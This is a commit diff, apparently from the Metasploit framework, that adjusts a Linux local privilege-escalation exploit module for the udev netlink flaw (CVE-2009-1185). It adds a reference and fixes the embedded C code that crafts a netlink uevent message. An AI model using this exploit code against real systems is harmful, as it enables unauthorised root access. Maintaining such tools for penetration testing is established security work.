fix while testing ubuntu intrepid

Author: jvazquez-r7

modules/exploits/linux/local/udev_netlink.rb

@@ -51,7 +51,8 @@ def initialize(info={})
 				'References'    =>
 					[
 						[ 'CVE', '2009-1185' ],
-						[ 'BID', '34536' ],
+						[ 'OSVDB', '53810' ],
+						[ 'BID', '34536' ]
 					],
 				'Targets'       =>
 					[
@@ -148,6 +149,7 @@ def exploit
 		main = %Q^
 #include <string.h>
 #include <linux/netlink.h>
+#define NULL 0
 
 int main() {
 	int sock;
@@ -166,6 +168,9 @@ def exploit
 	msg.msg_namelen = sizeof(sa);
 	msg.msg_iov = &iov;
 	msg.msg_iovlen = 1;
+	msg.msg_control = NULL;
+	msg.msg_controllen = 0;
+	msg.msg_flags = 0;
 
 	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
 	bind(sock, (struct sockaddr *) &sa, sizeof(sa));